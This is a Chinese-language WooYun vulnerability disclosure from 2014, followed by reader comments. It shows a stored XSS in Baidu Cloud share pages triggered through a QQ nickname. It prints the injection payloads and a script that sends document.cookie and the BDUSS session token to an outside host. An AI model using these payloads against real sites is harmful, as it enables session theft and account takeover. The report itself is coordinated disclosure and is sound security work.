当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-072520

漏洞标题:我是如何通过XSS窃取到百度受http-only保护的cookie的

相关厂商:百度

漏洞作者: 超威蓝猫

提交时间:2014-08-15 13:57

修复时间:2014-09-29 19:40

公开时间:2014-09-29 19:40

漏洞类型:xss跨站脚本攻击

危害等级:高

自评Rank:12

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-08-15: 细节已通知厂商并且等待厂商处理中
2014-08-15: 厂商已经确认,细节仅向厂商公开
2014-08-25: 细节向核心白帽子及相关领域专家公开
2014-09-04: 细节向普通白帽子公开
2014-09-14: 细节向实习白帽子公开
2014-09-29: 细节向公众公开

简要描述:

BDUSS受http-only保护? 看我如何窃取到完整的cookie。
「BDUSS是登录百度(web/wap)后的唯一身份凭证(*.baidu.com),受http-only保护,拿到BDUSS就等于拿到帐号的控制权,通行贴吧、知道、百科、文库、空间、百度云等百度主要产品。」

详细说明:

先来看 http://pan.baidu.com/s/xxxxxxx 这样一个百度云下载页中的一段JS代码(格式化后):

01.png


这里的 disk.util.ViewShareUtils.linkUserName 是分享者的ID。问题就出在这儿,使用QQ登录百度云(http://yun.baidu.com),QQ昵称中带有的特殊符号(如双引号,分号,括号等)没有被过滤,OAuth接口带来了安全隐患。
注册一个新的QQ,将昵称改为

"});alert(1)//

,登录百度云后上传一个文件,分享。http://pan.baidu.com/s/1bnb9GTL 弹咯

02.png


加载外部JS: 注册一个新的QQ,把QQ昵称改为

"});$.getScript("//qqq.si/w0vcEd")//

(QQ空间可以改超长昵称哦)同样分享一个文件,得到链接 http://pan.baidu.com/s/1c0kvees

03.png


JS内容:

(function(){(new Image()).src='http://qqq.si/?id=g2L5Jq&cookie='+escape((function(){try{return document.cookie}catch(e){return ''}})())+'&opener='+escape((function(){try{return FileUtils.cktoken}catch(e){return ''}})());})();


啊,顺便说一下,百度云的下载页中的 FileUtils.cktoken 存储了BDUSS哦

04.png


所以,只要有人打开 http://pan.baidu.com/s/1c0kvees ,他的BDUSS就到我的手里咯。

05.png

即使没有登录,也会加载这个JS,可以做一些邪恶的事 ._.
以上是WEB版的百度云下载页。同样的,手机版的页面也存在类似的XSS,虽然手机版的页面中没有输出BDUSS,但大部分手机浏览器是不支持http-only的,也就是说,http-only这个防护对移动端是形同虚设!
节选一小段UA伪装为手机后访问百度云下载页返回的JS代码,格式化后:

06.png


很容易就构造出语句

"};alert(1)//

注册一个新的QQ,昵称修改为这个,分享一个文件,手机用户打开该链接 http://pan.baidu.com/s/1c0fBzNi 就会执行JS代码了

07.png

至于加载外部JS窃取BDUSS,虽然wap版的下载页面没有$.getScript(), 但神奇的JS一定会有更多的方法,这里不再深入研究了( 暑假作业还没写噜

漏洞证明:

http://pan.baidu.com/s/1bnb9GTL alert(1)
http://pan.baidu.com/s/1c0kvees $.getScript("//qqq.si/w0vcEd")
(wap版触发)http://pan.baidu.com/s/1c0fBzNi alert(1)

修复方案:

求礼物 :P

版权声明:转载请注明来源 超威蓝猫@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2014-08-15 16:02

厂商回复:

感谢提交,我们立即联系业务部门处理此问题。

最新状态:

暂无


漏洞评价:

评论

  1. 2014-08-15 13:58 | 0x_Jin ( 普通白帽子 | Rank:319 漏洞数:37 | 微博:http://weibo.com/J1n9999)

    前排

  2. 2014-08-15 13:59 | px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)

    感觉以前见过类似的标题。。。

  3. 2014-08-15 14:01 | 秋风 ( 普通白帽子 | Rank:438 漏洞数:44 | 码农一枚,关注互联网安全)

    NB!

  4. 2014-08-15 14:03 | 小小泥娃 ( 路人 | Rank:20 漏洞数:4 | 高二)

    前排

  5. 2014-08-15 14:06 | 超威蓝猫 ( 核心白帽子 | Rank:1092 漏洞数:117 | STEAM_0:0:55968383)

    @Finger @xsser @疯狗 有一处错误,重新编辑了一下,求审核..

  6. 2014-08-15 14:07 | zph ( 普通白帽子 | Rank:235 漏洞数:43 )

    蓝猫霸气~

  7. 2014-08-15 14:09 | 铁蛋火车侠 ( 普通白帽子 | Rank:156 漏洞数:31 | Q群371620085 技术交流群 有漂亮妹纸!)

    mark

  8. 2014-08-15 14:14 | 安然意境 ( 普通白帽子 | Rank:189 漏洞数:79 | 无论是你的事业还是你的个人,可能走的过程...)

    感觉以前见过类似的标题。。。 好像之前谁有发过

  9. 2014-08-15 14:15 | 安然意境 ( 普通白帽子 | Rank:189 漏洞数:79 | 无论是你的事业还是你的个人,可能走的过程...)

    原来是一个人http://wooyun.org/bugs/wooyun-2010-051705

  10. 2014-08-15 14:26 | 包包 ( 路人 | Rank:6 漏洞数:5 | 我是菜鸟,我怕谁?小弟新来,望大牛多多包...)

    蓝猫,这个不是老早就发过了吗?

  11. 2014-08-15 14:41 | scanf ( 核心白帽子 | Rank:1232 漏洞数:186 | 。)

    @超威蓝猫 猥琐见长啊,看来又学了一招~~~带我飞啊!

  12. 2014-08-15 14:48 | 浩天 认证白帽子 ( 普通白帽子 | Rank:915 漏洞数:79 | 度假中...)

    这招好牛B

  13. 2014-08-15 15:12 | dangge ( 路人 | Rank:1 漏洞数:1 | 菜鸟一枚 努力学习中。)

    好厉害 前排留个名

  14. 2014-08-15 15:49 | 大大灰狼 ( 普通白帽子 | Rank:248 漏洞数:53 | Newbie)

  15. 2014-08-15 21:51 | 有妹子送上 ( 实习白帽子 | Rank:89 漏洞数:28 | 杭州最帅的男人)

    学习

  16. 2014-09-29 21:09 | 1c3z ( 实习白帽子 | Rank:88 漏洞数:29 | 我读书少,你可别骗我!!!)

    学习!!

  17. 2014-09-30 13:27 | oHtb ( 路人 | Rank:4 漏洞数:1 | hoho)

    高级,学习!

  18. 2015-04-26 15:09 | 昌维 ( 路人 | Rank:2 漏洞数:3 | QQ:867597730,百度贴吧ID:昌维001)

    以后所有单点登录的地方都要留意一下没过滤的地方←_←